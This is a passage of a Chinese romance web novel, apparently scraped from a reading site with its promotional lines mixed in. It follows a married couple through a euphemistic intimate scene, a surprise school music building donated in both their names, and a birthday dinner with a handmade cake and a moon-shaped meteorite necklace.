傅蔺征起身抱住她,舔了舔薄唇,勾唇:“怎么这么甜啊宝贝,好解渴。”
容微月哭得埋脸,傅蔺征浑坏咬她耳垂:“就你这样还给我计时?自己都撑不了几分钟。”
容微月像朵软绵绵的云儿,飘柔在空中,末了傅蔺征额间滚落汗珠,哑声哄她:“宝宝,最后你来好不好。”
平日里那么高高在上的太子爷,此刻却甘愿成为她的裙下臣。
她当然不可能真不管他,“要怎么……”
傅蔺征指腹挲摩她洇洇红唇,眼底勾勾,她面颊泛红要坐起来,他低声笑:“笨蛋,不用。”
怎么办,他目前还舍不得。
末了是一次回顾高中的手刹教
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学。
他曾经教过她还记得一二。
男人阖着眸乱了呼吸眼底猩红在她耳边说了句话。
铺天盖地的吻落了下去极重堵住她呼吸撬开齿关野蛮荡扫。
他长臂牢牢圈住她也紧紧抱住他。
一只海鸥安静停在火山爆发后的海边半晌都找回呼吸傅蔺征舔她耳廓:“玩够了?”
她莞尔:“够了好喜欢……”
“等着老子全记着。”
到时候全部讨回来。
容微月软绵绵被他抱了起来后背靠在他胸膛勾起那布给他羞涩道:“傅蔺征
刚刚好像七八来下“本来要留给你的。”
她脸红“给你你负责洗干净……”
傅蔺征勾唇亲亲她脸颊“刚刚不是你递给我的么?”
她轻哼傅蔺征哑声道:“以后每一条都给我这样弄嗯?”
好想哄她再穿上去啊。
她就没见过这么坏的“才不要……”
傅蔺征起身把她抱了起来她懒洋洋任由他伺候而后她坐在盥洗池旁看着他耐心搓洗着这还是婚后的第二回。
洗干净傅蔺征放到专门的消毒烘干机器里。
都清洗好傅蔺征抱着她往主卧外走容微月疑惑:“去哪儿呀?”
傅蔺征扯唇“床都被你弄成那样了今晚还怎么睡?”
她看过去的确是一片深刚刚自己都没意识到埋脸:“那还不是都怪你……”
傅蔺征勾唇说了句“嗯”低声耳语:“就你这样以后真要了估计床垫都要换了。”
曾经毕业不是没有过这经历。
“那、那垫一下?”
他笑“垫了有用?”
容微月也不知道傅蔺征到底掌握了什么技能能让她这样而且六年后他好像更会了……
躺到隔壁她的卧室里她窝在他怀中耳鬓厮磨男人的瘾刚刚一次根本解不掉。
说着话小姑娘脸红抱住他喵喵傅蔺征低声蛊她:“刚刚喜欢么?”
她呆呆的“喜欢什么?”
“喜欢老子那样亲你啊。”
她听出话中之意轻轻应了声傅蔺征舔了舔唇:“宝宝我口渴了再亲一会儿好不好?”
容微月软软看他:“只能亲一会儿哦……”
傅蔺征笑倾身而来扯过被子盖过头顶。
窗外夜色漫漫风掠过纱帘月色倾洒下来。
-
众星消失。
翌日灿烂的阳光点亮城市。
容微月睡醒就感觉到腰间横亘着一只手后背贴着胸膛。
睁开眼一看自己被傅蔺征圈在怀中他难得比她迟醒来。
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转眼往四周看去他们竟然是在另一间客房。
思绪回笼她想到昨晚他们后来亲着亲着就又开始研究美食了傅蔺征烤着青蛤从唇到两指撬开两层掩护。
青蛤放在炭火上烤熟了壳自动打开汁水落在炭火中滋啦滋啦蚌肉很鲜甜。
小姑娘好喜欢但也累得在他怀中直接睡着后续他怎么给她清理她都一概不知了。
醉时很大胆醒后很羞怯此刻昨晚种种荒唐浮现脑海中羞意这才后知后觉涌上心头。
呜呜呜她昨晚怎么那么胆大QAQ……
待不下去了想逃跑她小心翼翼挪开男人搭在腰间的手正打算下去一道力道再度把她拉回去男人沉哑嗓音传来:“跑什么?”
“唔……”
被翻了个身她对上他炽炽黑眸“你什么时候醒的?”
“老早就醒了你在我怀里拱来拱去的我一大早能睡得着?”
男人早晨本来就不能惹容微月被戳心跳怦怦脸颊如热乎乎的桃子包“我没有……”
“没有什么?刚才还看了我半天呢。”
感觉到他开始放肆她感觉危险咕哝:“傅蔺征你拿开……”
他笑“怎么昨晚喜欢还想看现在就躲了?”
傅蔺征直直盯着她
“什、什么昨晚的事。”
他冷笑“又说喝断片了是吧?”
她倒也理直气壮:“嗯我什么都不记得了。”
同样的借口还来两次傅蔺征眼尾荡开浑坏:
“行啊不记得也没事我们就情景再现一下帮你回忆回忆。”
容微月害羞忙投降:“记得记得不要再来了。”
她抬手圈住他脖子傅蔺征居高临下看她声音低柔:“那儿会不会不舒服?”
容微月小声:“有点……”
傅蔺征帮她察看她羞得咬唇粉得让人眼底暗下他滚了滚喉结忍住没再度亲过去:
“有点…了宝宝。”
“都怪你……”
傅蔺征笑:“还不是你太娇了用shou都能肿我还没用*要是用*你能受得了几下?”
当初连吞都困难何况是……
旖旎画面不禁在脑中浮现容微月生怕自己又想黏着他了从他怀中钻出去“我要起床了……”
小猫跑走他无奈笑。
过了会儿容微月洗漱完出来看到傅蔺征在收拾昨晚的两个战场。
傅蔺征揶揄“早知道昨晚先不挪房间就好了。”
她想来这事就觉得这人过分“本来都要睡觉了。”
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他揽住她吊儿郎当道:“没关系我有先见之明家里五个客房。”
“……”
容微月羞得想走就被他抱起来她面露警觉“要干嘛?”
“称体重你说干嘛?”傅蔺征唇角扬起笑意“容微月你是不是以为我一天到晚都想吃了你啊?”
“……”难道不是吗?
走到体重秤前称了下体重重了0.2公斤她开心坏了“重了哦。”
傅蔺征无奈勾唇“就0.2搞得跟20斤似的嘚瑟什么?”
“那、那昨晚那么辛苦现在能重不容易。”
傅蔺征眯眼“行你这么说我最近是该给你提前再喂胖点不然到时候真折腾几次你又瘦了怎么办?”
“……”
她不想搭理他了。
走去餐厅把她放到中岛台前坐下白绒团子跑过来去咬了口傅蔺征的裤脚而后来妈妈脚边贴贴一大早就把双标打在脸上傅蔺征气笑:“傅呼呼你看我今天给不给你做吃的。”
容微月笑着抱起呼呼“宝贝没事妈妈给你做。”
傅蔺征轻捏她脸“容微月你就知道帮你儿子是吧?”
她弯眉“你赶紧做饭……”
而后容微月拿出手机简单处理了下信息给殷绿发去信息:【宝你今天还好吗?】
半晌那头直接回来打电话说昨晚一觉睡到天亮刚刚才醒“月月我发现我没有想象中分手的撕心裂肺呢你说这是为什么啊?”
容微月想到自己曾经遭遇的事抿了抿唇:“那大概是你没有那么喜欢他吧如果和很喜欢的人分手是会特别难过的。”
电话开了免提正在努力把蛋液里的蛋壳挑出来的傅蔺征看过来。
她补充道:“不过这样的渣男不值得
殷绿点头如捣蒜:“没错他之前动不动放我鸽子对我还冷暴力老娘我现在是解脱了昨晚那朋友圈发出去太解气了哈哈哈。”
容微月问她昨晚后的情况殷绿说湖安送她到家楼下就离开了“你别说坚果哥还挺仗义的昨晚打架帅到我了我本来以为他是个手无缚鸡之力的IT理工男呢。”
容微月忍不住弯了弯唇:“人不可貌相湖安高中时候还打过篮球呢那你要不要找机会感谢一下他?”
“那肯定啊改天请你们吃饭到时候你和傅蔺征也来。”
这人怎么听不懂她的暗示呢。
容微月无奈笑说好。
挂了电话傅蔺征走过来忽而扣住她后颈俯身吻她她懵然眨巴眼睛半晌他看着她哑声道:
“我们结婚了
你的朋友正在书荒,快去帮帮他吧
以后就永远不会分手了知道么?你想都别想逃。”
她昨晚喝醉说的话还有她刚刚所说的他怕她多想立刻就想回应给她足够的安全感。
容微月怔了怔浅笑仰眸看他:“嗯不逃。”
他们要永远在一起。
傅蔺征走回去煎蛋容微月好奇问:“湖安是不是对殷绿有意思啊?”
他挑眉:“你看出来了?”
“不是挺明显的吗湖安都为殷绿打架了。”
傅蔺征揶揄:“行打个架就算的话
“……”
她心虚笑笑傅蔺征端着牛奶鸡蛋走过来“是喜欢不过之前殷绿有男朋友他也不敢做什么。”
容微月帮忙拿过水果沙拉和吐司跟上去:“还真喜欢啊?什么时候的事了。”
“高中就暗恋了后来这几年也没遇到其他心动的。”
“那我们要不要有机会撮合一下他们?我虽然对这方面不太会但可以尝试一下。”
傅蔺征看向她闪亮亮的眸子没见过比他家姑娘还可爱的笑着亲了亲她脸颊:“不着急这事儿让湖安自己先努力去你先过好自己的婚后生活懂么?傅太太。”
她噢了声笑笑。
周末在家容微月的确和傅蔺征之间的生活如蜜里调油更加亲昵。
和刚开始结婚拘谨的状态不同她如今慢慢在他面前打开自己会撒娇会闹会直接表达情绪越来越像一个小朋友而傅蔺征就是想把她宠成一个小朋友。
从前她排斥婚姻想象不到结婚的意义现在她知道了她是想象不出和除傅蔺征之外的人步入婚姻有什么好。
曾经她一直幻想的如今终于实现了。
而且惊喜的是——比幻想中还美好。
周末过去日子往前也翻到了十二月份傅蔺征工作繁忙这一次又要出国。
他先是去西班牙以特邀嘉宾的身份参与录制某个国际赛车纪录片随后再赴瑞士出席一个国际商界峰会前后加起来大约一周的时间他说十号才能回来。
十号……
他问她怎么了容微月摇摇头:“没事那你好好出差我也好好工作。”
嘴上说着没事但他离开后的第一天她就开始有点想他了。
好在他们每晚都会视频和从前一训练就消失不同傅蔺征现在每天在做什么都会与她分享给她报备他的实时动向让她感觉到还是离他很近。
不过她也不是那么黏人的大多数时间都在忙工作。
一天天过去终于迎来了十二月八号。
早晨睡醒容微月的手机里就
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堆来了许多了生日祝福来自
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父母的来自弟弟的还有殷绿、夏千棠和霓音以及许多朋友。
早晨到工作室员工们还给她准备了鲜花和礼物惊喜又感动。
盛柳又给她打来电话说给她的生日礼物已经寄回去了“月月今天什么安排怎么过生日啊?”
“没什么安排就照常工作吧。”
盛柳小心翼翼哄她:“那就找朋友们吃吃饭?反正不管怎么样今天开开心心的等爸妈下周回国了再给你补过生日好吗?”
那头也传来容承业的声音刻意柔软几分:“放松一下不要老是忙工作。”
容微月咬了口奶油蛋糕送入嘴中淡淡道:“好。”
忙完工作中午容微月和傅蔺征照例通话聊了聊日常的工作那头让她吃完饭记得喝中药他也去吃饭了她见他反应平平咕哝:“你没什么要说的嘛……”
那头无声笑:“你说还想聊什么?”
她用勺子搅拌着碗里的牛肉咖喱蛋包饭“没什么那你赶紧去吃饭。”
“嗯。”
通话结束她托腮叹气。
这人变魔术的时候还说永远都记得她生日呢转头就忘记了果然是男人的嘴骗人的鬼……
也不知道他是故意给她个惊喜还是什么但真忘了也能理解毕竟他在国外连轴转都忙坏了。
饭后她准备午休接到了高中学校打来的电话:“请问是17届毕业的容微月同学吗?”
“对您是?”
对方说是澜高的教务处主任温和问:“你们的学籍材料最近在整理归档有几份材料发现有问题需要你回来签个字你下午方便来一趟吗?不会耽误你太久时间。”
容微月疑惑不知道是什么材料但还是应下:“好的我下午过去。”
下午三点多她忙完工作去往澜高。
正值上课时间校园里人来人往到处都洋溢着青春的面容她走上行政楼的台阶却意外看见几位校领导齐齐候在门口。
而校长正在其中。
他旁边站着她曾经的班主任邴琒容微月走到他们面前邴峰笑着给她一一介绍有分管后勤基建的副校长教务处和德育处领导还有学校音乐组的组长她当年小提琴比赛的指导老师。
不是这是什么阵仗……
容微月呆愣和他们问好“今天我不是回来只需要签个材料吗?”
副校长把手中的一束鲜花递给她语气亲切:
“欢迎回家容微月同学。”
她怔了怔接过听到“回家”二字心头不禁发暖“谢谢老师……”
校长报以笑意和她解释:“微月同学
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签什么学籍材料而是需要请你签一份捐赠纪念书——这是傅蔺征同学为你准备的特别的安排。”
她呆住“捐赠……纪念书?”
校长只微微一笑:“跟我们走一趟你就知道。”
在几位老师的陪同下容微月穿过行政楼踏上熟悉的银杏大道旁边的湖面结了薄冰走过湖上木桥她就看到对岸出现一座全新的建筑——
那里原本是废弃操场如今却安静矗立着一座挺拔的月白色大楼宛若深海中的皎皎灯塔。
大楼高四层圆弧形的外墙如同月亮的形状容微月抬头看到浅灰加月白色的墙砖外显着三个字:
征月楼。
她猛地呆住。
征月楼……
她跟着校领导们走进大楼室内暖意融融大厅挑高两层高处垂下一个穹顶弯月吊灯两侧的回廊对称向左右两侧延伸。
窗外冬日斜阳透过窗户照进来整栋大楼温暖而庄重像一曲埋藏多年的乐章在多年后终于被揭开。
邴峰道:“这栋是个音乐综合楼是蔺征同学以你们共同的名义捐赠的说是完成你们曾经共同的愿望。”
容微月心头一震。
她忽而想起高中傅蔺征一开始带她来学校琴房练琴因为琴房少他们还差点和其他想练习的同学起了冲突她当时就说希望以后有钱就为学校建一栋音乐楼傅蔺征便说和她一起。
后来他们分手她原本以为这稚气的心愿早已石沉大海可他却始终放在心上。
邴峰说“这栋楼前两天才全部完工今天是一场小型的纪念仪式蔺征说你害羞不喜欢人太多所以我们就邀请了你来参加。”
容微月摇摇头忙道:“其实我……我根本都不知情我什么都没做是蔺征一个人出资的这纪念仪式要等他回来。”
副校长淡笑:“蔺征同学说他在国外没有办法赶回来让我们邀请你来参加就行了何况你们是夫妻当初的捐赠文件上他写的是你们两位的名字他说这愿望只不过他先替你完成了而已。”
教导主任感动:“微月同学我们不单单是感谢这笔捐款也是很感谢你们对澜高的喜爱。”
她眼底微热老师们带她参观一楼是两间小型音乐厅再往上走去是音乐教室、排练室和老师的办公室三楼则是小提琴、钢琴和管弦乐等各类型的琴房最上一层则是用于师生创作的录音室。
这栋楼所有的设计都是当年傅蔺征和设计师们耐心一点点敲定的。
音乐老师含笑说:“微月我记得当初你有次小提琴比赛之前
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不想耽误艺考的同学都只能清晨五点多来练但现在琴房多了八间以后大家就有更多的空间了。”
高中时容微月没有办法在家里练琴傅蔺征早晨就买好了早餐偷偷接她去学校每次她练琴他就在外面看书只要她往外看去他永远都在。
那么多个孤寂难熬的清晨是他坚定不移地陪在她身边。
她守着不被看好的梦想。
而他守着她。
容微月鼻尖泛酸在楼内走廊的拐角处看到了一个小铜牌上头刻着金字老师说是上面傅蔺征曾经提笔写下的:
【微月映长空初心照前路。
——致每一位在音乐中找到梦想的人愿你们不畏前路抵达想到的彼岸。】
容微月看着眼眶泛红。
回到大厅校长们请容微月揭开石碑红幕她揭开上头赫然刻着“征月楼”三个烫金的字。
最下面是“捐赠人:容微月傅蔺征”
而石碑中间还有一句话:
漫漫征途明月如初虽有聚散美梦常圆。
邴峰说:“这栋楼是蔺征同学大三那年来捐赠的。”
她愣住:“大三?”
“那年傅蔺征同学拿到世界冠军后就回来母校了他说把拿到的奖金捐赠给学校以你们的名义建下这栋音乐楼。”
邴峰说当时回来签订捐赠协议时老师们问傅蔺征想给这栋楼取什么名字他沉默良久沙哑开口:“就叫征月楼吧。”
征月所代表的从来不是征服月亮。
而是漫漫征途上曾经有月亮短暂照亮过他。
容微月眼眶抑制不住的发热:“可是当时我们已经分手了……”
大家也很诧异邴峰恍然提及当年:“难怪啊当年我们觉得他是代替你回来捐赠呢以为你们还一直在一起我那天特别高兴还把你们高中毕业的照片拿出来给他看了。”
那天办公室里邴峰拿着17届六班的毕业照指着里头站在一起的傅蔺征和容微月还和周围的老师自豪道:
“这是我们班的金童玉女蔺征微月男帅女美成绩又好现在还在一起呢感情特别好蔺征等你们将来结婚办喜酒了老师给你们包个大红包哈哈哈。”
邴峰说完却发现傅蔺征黑眸暗下瞬间泛了红划过了很多情绪。
当时他不明白那情绪代表着什么
邴峰说后来蔺征要走了这照片那天捐赠协议签完领导们陆续都离开了可他却看到傅蔺征一个人坐在消防通道楼梯上手里拿着毕业照指尖攥得发白。
他一动不动地低着头
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第 42 章 chapter42征月楼外,大雪...
第42章第四十二章
【chapter42征月楼外,大雪纷飞,湖面凝成玉……】
chapter42
征月楼外,大雪纷飞,湖面凝成玉镜,玉树琼枝挺立在寒风中,天地间仿佛画了幅素色的水墨画,对岸的建筑看不清晰,只剩下雪白与浅灰轮廓交叠。
大片雪花旋转飘落,伞面被覆上一层薄白,容微月依偎在傅蔺征怀中,听到他的话,心头柔软发酸。
他怎么可能会忘记她的生日。
就像那年她十八岁生日,他拼命比赛连夜赶回国,就是为了陪在她身边。
不论是六年前,还是现在,他的航班从未延误,只要她抬头,就能看到他逆着风雪,朝她而来。
傅蔺征看到她眼眸水润、鼻尖通红的模样,抬手抹掉她眼珠,唇角化开笑意:“怎么哭成这样?这么感动啊?
容微仰眸看他,软闷的哭腔像小猫咪一样:“征月楼的故事他们都告诉我了,你当初给我的信,我也看到了……
傅蔺征笑,“就猜到你知道了要哭鼻子。
“对不起,我到现在才知道……
“笨蛋,现在知道了也不算晚,傅蔺征灼灼看她,“反正不管多久,我都等得起。
容微月眼眶泛红,将他抱得更紧,半晌傅蔺征忍不住亲了下她脸颊,往楼里看去,挑眉逗她:“容微月同学,老师们还在呢,你这样不害羞啊?
“唔……
都怪她太激动了QAQ……
她脸颊烧红,赶忙从他怀中退出,傅蔺征笑着把怀中的冰淇淋桔梗递去:
“我们先进去和他们打招呼,其他事情等晚上我再告诉你,嗯?
“好……
傅蔺征揽着她走进大楼,和老师们打招呼,小猫还在羞赧地垂头拭泪,傅蔺征笑了笑把她搂得更紧,眼底藏不住的宠溺:“不好意思啊,给了我太太一个小小的惊喜,她有点激动。
校领导们:一栋楼还叫小惊喜吗?!
看到他们重新走到一起,大家也替他们高兴,打趣道:“结婚了就是不一样啊,第一次看到蔺征这么开心,幸福之情溢于言表。
傅蔺征勾唇:“娶到月月,我当然开心。
容微月弯眉,大家都说被甜到了,教务处主任笑感慨:“你俩当年在学校可是风云人物,虽然早恋但是成绩名列前茅,我们想管也管不了,没想到毕业后你们还分开过几年,好在兜兜转转又走到一起,这就叫缘分天定。
邴峰和老师们开玩笑:“你们看看,这代表我当初那句结婚是预言家啊,我说的没毛病啊!
“被你说中了!!
傅蔺
你的朋友正在书荒,快去帮帮他吧
征无奈揶揄:“您当初那么说,简直是给我心里扎刀子。”
“哈哈哈哈……”
“蔺征、微月,祝你们新婚快乐,百年好合,婚礼可别忘了请老师们啊。”
容微月含笑应下,傅蔺征唇角勾起:“当然,各位老师们都是见证人。”
正好两位都在,副校长拿出捐赠纪念书,请他们在上面签字,容微月接过笔,和傅蔺征在烫金纸页上共同写下名字。
这次,他们的名字是真的写在了一起。
现场合照留念,俩人还单独拍了一张,老师把照片传到他们手机里,照片里容微月一袭青色素纹旗袍,披着暖白色羊毛披肩,梨花流苏发簪将长发挽成一个低髻,如冬日映霜,清婉温柔。
她眉眼弯如明月,一旁的傅蔺征牵着她,一袭灰黑色大衣勾勒颀长的身姿,面容周正帅气,往日锐利的眉眼却格外温柔。
容微月忍不住笑,“真好看,对吧?”
傅蔺征挑眉:“你也不看是谁和谁。”
从毕业照,到结婚照,再到今天的纪念照片。
往后余生,每一张照片里,他又可以牵到她的手了。
临走时,邴峰还告诉了容微月一件事:“你知道上个月校庆,蔺征同学回来又捐建了一栋楼吗?”
容微月记得同学聚会吃饭前听大家提起过,邴峰指着征月楼旁边的那处空地,笑笑:
“地址就和这栋征月楼并肩而立,上个月蔺征打电话给我们,说是以你们夫妇共同的名义捐赠,还取好了名字,叫做潮汐楼。”
潮汐……
她想到什么,心口掀起涟漪,正出神时,傅蔺征揽住她,“老师们,那我们就先走了。”
领导们忙说今晚留下来请他们吃饭,餐厅都安排好了,傅蔺征捏捏容微月耳垂,笑意慵懒:“今儿不行,月月生日,我们要过二人世界。”
“哎呦这是嫌弃我们当电灯泡了哈哈哈……”
老师们也没强留,笑着让他们有空再回来玩。
走出室外,傅蔺征护她上了车,两人上车后,容微月翻看着捐赠纪念书,还觉得不好意思:
“征月楼是你花钱建的,我都没做什么,是沾了你的光。”
傅蔺征倾身过来捏她脸,嗓音压低:“什么是你的,什么是我的?要不要再复习一下结婚证?”
容微月心头柔软,“不用了……”
傅蔺征启动超跑,容微月把纪念书和信封珍视地收进包里,抱着花一直看他,傅蔺征见此唇角挑笑:“容微月,你能不能稍微矜持点,这么直勾勾的,我都不好意思了。”
这人还会不好意思啊?
她声音软软的:“我就想看你呀。”
傅蔺征压平唇角,“
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一周不见就这么想我啊?”γυе謌
她眸光盈盈:“嗯不能想吗?”
傅蔺征喉结滚动手掌心朝她摊开“怎么不能你老公你怎么想都行扑上来又亲又咬也不是不可以反正老子现在也没有反抗的资格。”
容微月笑着伸去手就被他握住十指紧扣。
她温软咕哝:“我就说你今天怎么都不提起我生日的事我还以为你忙忘记了早上夏斯礼和湖安他们还和我说生日快乐呢。”
“你生日我怎么可能忘记?”傅蔺征指尖挠她掌心“中午给你打电话的时候我正要登机是我告诉那几个朋友们让他们今天别约你。”
难怪今天就连殷绿都说没时间和她吃饭她说他霸道傅蔺征坏得一脸坦荡:
“就这么霸道都六年都没给你过生日了今晚你不得是我的?”
她耳根发热心头如被泡在蜜水里乖乖道:“嗯都是你的。”
停车到红灯前傅蔺征忍不住倾身过来把她搂在怀中索吻气息缠绵好想搂进怀中咬一口“怎么这么可爱啊。”
他怎么能有这么可爱的老婆呢。
她笑颜乌浓“你先好好开车……”
傅蔺征揉了揉她的头不再闹她容微月想到过去这几年轻声道:“我之前在杭市读书生日我都没怎么过就是随便吃碗面条再买块三角蛋糕许愿下。”
那几年她和家里关系闹僵大学朋友又不多和室友们也相处得一般
容微月声音轻轻:“后来我也不怎么过生日了没什么可纪念的也不喜欢许愿。”
最美好的东西已经失去了她根本不敢再奢望什么。
傅蔺征听着心口发疼难以想象那几年小姑娘一个人有多孤单握住她的手更紧低哑道:“以后不许再说没得纪念听到没?这一天对我来说最重要以后我每年都会在嗯?”
她心头柔软看向他:“好……”
布加迪一路驶向京郊城市灯火渐疏容微月好奇问他今晚要去哪儿傅蔺征道:“怀星岭还记得么?”
容微月怔了怔“是不是我们高中去过的……”
高中在一起后有天晚上傅蔺征开车带她去怀星岭兜风在山顶她窝在他怀中看星星还约定一起在京市读大学。
傅蔺征应:“这山前两年被明恒收购开发了山顶建了个会所今晚只有我们。”
驶上蜿蜒山路夜幕落下整片山林仿佛被盖了层雪毯到达山顶容微月看到一座依山而建的会所屋顶覆着厚厚白雪像个温暖的冬夜城堡。
下了车傅蔺征牵着容微月走进去会所负责人在
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门口含笑恭迎:“傅先生、傅太太好。”
引他们往里走对方含笑调侃:“前两天傅总说要为太太准备一顿生日晚餐我们特别惊讶还是第一次见到傅太太呢真漂亮。”
容微月脸红莞尔轻扯傅蔺征的袖子:“他们都知道我们的关系啊会不会传到你爸妈耳中呀?”
男人低沉含笑嗓音落在她耳边“怎么想一直偷偷摸摸当我老婆啊?”
她脸红说不是俩人穿过茶室走到最里面的餐厅深栗木风格的装潢垂下的玻璃灯散发着朦胧暖光
在圆桌前坐下傅蔺征把玩着容微月的手“其实我们领证那天晚上我就和我爸妈说了结婚的事。”
“啊?!”
“男女不同我不想你这样默默嫁给我会觉得委屈很多事情也得提前准备将来要风风光光娶你。”
她心头敲锣打鼓“那叔叔阿姨怎么说的……”
他笑“怎么怕他们不满意?”
“嗯……我这条件不知道能不能达到他们的标准。”
傅蔺征拖腔带调言:“我喜欢就够了为什么要达到他们的标准?而且就我这眼光只想要世界上最好的是我还怕配不上。”
这人……
傅蔺征给她倒了杯果汁:“放心我爸妈很满意你还一直想来看你但我怕你紧张就说再等等他们经常叮嘱我要好好照顾你昨天寄到家里的那些海鲜都是他们买的。”
傅蔺征父母知道容微月身体不好也想对她更好点容微月怔然:“他们真的很满意我吗可是我还没有见过他们呢……”
“我随便说了点你的事他们就觉得你特别好性子也很随和”傅蔺征吊儿郎当扯唇“而且我能结婚他们就偷着乐吧不然老子单一辈子给他们看。”
容微月酒窝不禁酿了蜜“那我找个机会去拜访一下叔叔阿姨吧?他们都知道了我这样不礼貌。”
傅蔺征揉揉她发顶语气懒散却宠溺:“行我来安排今天先好好过生日。”
不一会儿一道道精致的中式料理端上来傅蔺征一早就嘱咐了后厨容微月喜欢的口味和忌口每一道菜都和她心意。
端上来一盘玉露蒸海鲈她想夹傅蔺征就让她先吃其他的他帮她挑着鱼刺容微月看着幸福感慨:“以后我跟你出来什么都不要操心了张开嘴巴等投喂就好了你比我细心多了。”
男人懒洋洋挑唇:“就没见过这么娇气的这辈子只伺候过你这么一个。”
容微月努嘴“你要嫌太麻烦就换一个。”
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
傅蔺征黑眸直勾勾看她:“今晚说话小心点,一周没收拾你了是吧?
她脸颊烧起一片泛红,傅蔺征喂她吃鱼,还在调侃:“怎么,不继续说了?
她心虚咕哝,男人低哑暧昧的嗓音撩过耳边:“不说也不管用,今晚该有的一次少不了。
“噢……她眼睛一弯,“那我等着哦。
傅蔺征眼底暗下,痞拽笑了。
行,是真不害怕,还敢惹他。
一顿饭吃得舒心愉快,饭后,傅蔺征带她在会所里逛了圈,最后问她:“要不要去看看夜景?
“好啊。
他牵着她到达会所最高层,推门出去,容微月没想到外头是个延伸出去的观景平台,雪暂时停了,木质栈道上覆盖了层白絮,两侧的玻璃栏杆上点缀着玫瑰和暖黄小灯,如星河遍地。
她往外走了点,眺望远处,京市夜景繁华辽阔,高楼大厦的霓虹灯火和蜿蜒交错的车流,交织成流动的光海。
她呼出一口白雾,眼睛亮晶晶的:“好漂亮……
傅蔺征帮她围好围巾,见她一动不动定在原地,“不走到最前面?
她嗫嚅:“我恐高……
傅蔺征勾唇牵住她的手,“没事,不往下看,跟着我走。
慢慢往前走去,到平台的最前方,她手触着栏杆上的雪花,转眼朝他笑:“这里风景比六年前更好了。
傅蔺征把她圈在怀中,“本来我以为,再没有机会带你来到这里了。
她怔了怔,靠在他胸膛:“我本来也以为没有机会再来的……
傅蔺征低头看她脸颊,嗓音磁沉:“还好,从女朋友的身份变成老婆,六年的时间就算没白过。
她笑笑,这时耳边响起轻快的生日歌,容微月愣住回头,只见侍者们笑推着一个烛光摇晃的蛋糕缓缓走来。
傅蔺征也在她耳边唱起生日歌,他声音低醇好听,一字字烘软她心头,溢满幸福。
蛋糕推到两人面前,侍者悄然退下,容微月闻到清甜的青橘味,“这是青橘蛋糕吗?
“嗯,这蛋糕怎么样?
蛋糕奶油是浅绿色,中间有一轮自潮汐中升起的弯月,“这是你买的吗?
傅蔺征吊儿郎当勾唇:“我的手艺能和外面买的匹配了?
“你做的啊?!
他吊起眉梢,“这很难吗?
“难怪有点丑呢……
“……?
傅蔺征气笑,“容微月,你就这么打击我?
她笑着说开玩笑的,傅蔺征说是他上周去找了澜高门口的那家蛋糕店学习,在国外这几天他白天忙完工作,回来就练习,做废了七八个蛋糕,这是今早做的,跟着飞
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
机一起回到京市,被助理送来了这里。
傅蔺征道:“你不是最爱吃这个青橘蛋糕?以后不管那家店开不开,你在家永远都能吃得到。
容微月闻言,眼底积蓄水光,傅蔺征明明是个十指不沾阳春水的富家少爷,但无论是最近给她煲的汤做的菜,还是这蛋糕,只要和她有关的,他都愿意倾其所有去实现。
傅蔺征唇角跃起弧度,“行了,别感动了,蜡烛都快烧完了,还不许个愿?
容微月鼻尖泛酸,双手合十闭上眼。
过去的六年,她所有的生日愿望都只有一个,就是希望傅蔺征在赛场上平平安安,一直快乐幸福,遇到更好的人白头到老。
她不敢奢望他们还有什么未来,可今天,她终于可以大胆把愿望告诉上天——
愿身旁的他,可以永远陪在她身边,朝朝暮暮,白首同心。
她睁开眼,吹灭了蜡烛,睁开眼就看到一个长条的首饰盒递来。
她懵然接过,“这是什么?
“打开看看。
她揭开盒子,里头是一条项链。
傅蔺征说这个项链的主石是编号为Lunaria12-A的真实月球陨石,表面带着天然的星灰纹理,是目前世界上为数不多被私人收藏、可用于珠宝设计的,全球稀有。
项链用特殊涂层封护,经过无数次打磨切割,被雕刻成一弯皎月的形状,月亮周围镶嵌着一圈宛若潮汐的银蓝色天然钻石。
项链背后刻着“1208和她的姓氏缩写,在灯光下熠熠生辉。
“这是结婚那天我联系巴黎那边一个珠宝品牌定制的,它的名字叫LaLuneduC?ur,法语翻译过来的意思是——心之明月。
傅蔺征注视着她,眸光深刻:
“这就是我心头,最美的月亮。
她闻言眼底泛起水意,弯起唇畔,傅蔺征拿起来给她戴上:
“生日快乐,我的公主。
“往后余生的每一年,我都会陪你度过。
容微月心头冲击热意,泪珠滚落,主动抱住他,“这个礼物我很喜欢,有你在,我更喜欢了。
今年的生日有他在,她已经觉得无比知足了。
傅蔺征将她揽紧,抹掉她眼泪,低笑揶揄:“小哭包。
容微月仰眸注视着他:“今天班主任和我说,大三你去捐建征月楼的时候,你一个人在楼梯间看着我们的毕业照哭了。
当时傅蔺征心里该有多痛,痛到他会忍不住落泪,容微月眼圈泛红,“我以为大一我提分手后,你肯定恨透了我,早就忘了我、去谈新的女朋友了,所以你是不是这么多年,你一直都没有忘记我……
傅
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蔺征眼底滚热,笑:“怎么这么笨,现在才反应过来?”<
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他圈住她,指向对面那座山:“你知道对面那座山是什么吗?”
她懵然看过去,看到对面被路灯点亮的逶迤山路,隐约勾勒着跑道的形状,“是什么……”
“车场,我基本上每天要来这里训练。”
车场……
容微月心头一震,“可是这里距离禾盛庭要两个小时,你不是说离我工作室很近吗?”
男人挑眉笑:“所以你现在明白了么?”
容微月心头掀翻浪潮,忽而明白过来:“所以根本不是为了方便你训练,禾盛庭的房子是你为我买的,夏千棠和夏斯礼的朋友圈也是故意发给我看的?”
傅蔺征挑唇看她,所有曾经的猜想在此刻得到了验证,容微月眼底氤氲水光:“我就说你那么有钱,怎么会缺钱到去租房……”
嘴巴上说着没钱买密码锁,她摔了个几十万的青铜马,他却毫不心疼。
傅蔺征低声言:“这房子离你工作室那么近,还是你喜欢的装修风格,甚至我都把呼呼搬出来诱惑你了,你说,我的目的是为了什么?”
他看向她的眸寸寸发热,嗓音沉哑:“我就想离你近点,想每天都看到你,更想保护你,怕你再受到那些委屈。”
像小猫钓鱼,一步步将她费尽心机引入他的“圈套”,所有的目的都只为了一个她。
傅蔺征声音低哑:“徐成光婚礼那天,我一早就知道你要来,虽然嘴硬说没什么好和你叙旧的,可其实我是推掉事情从国外赶回来,见到你的那一刻,我很想冲过去抱你。”
六年,他等了足足六年,才敢和她重逢。
“那天在婚礼上,我忍不住一直偷看你,你海鲜过敏,我就冲下楼给你拿药了,后来你去中美找陈教授,那天我会出现,是因为那天早上我听他提到了你,在停车场我把话说得太重了,把你气走了,我后悔了忍不住去你工作室外想看看你,所以那晚就撞到了你被恶意别车。”
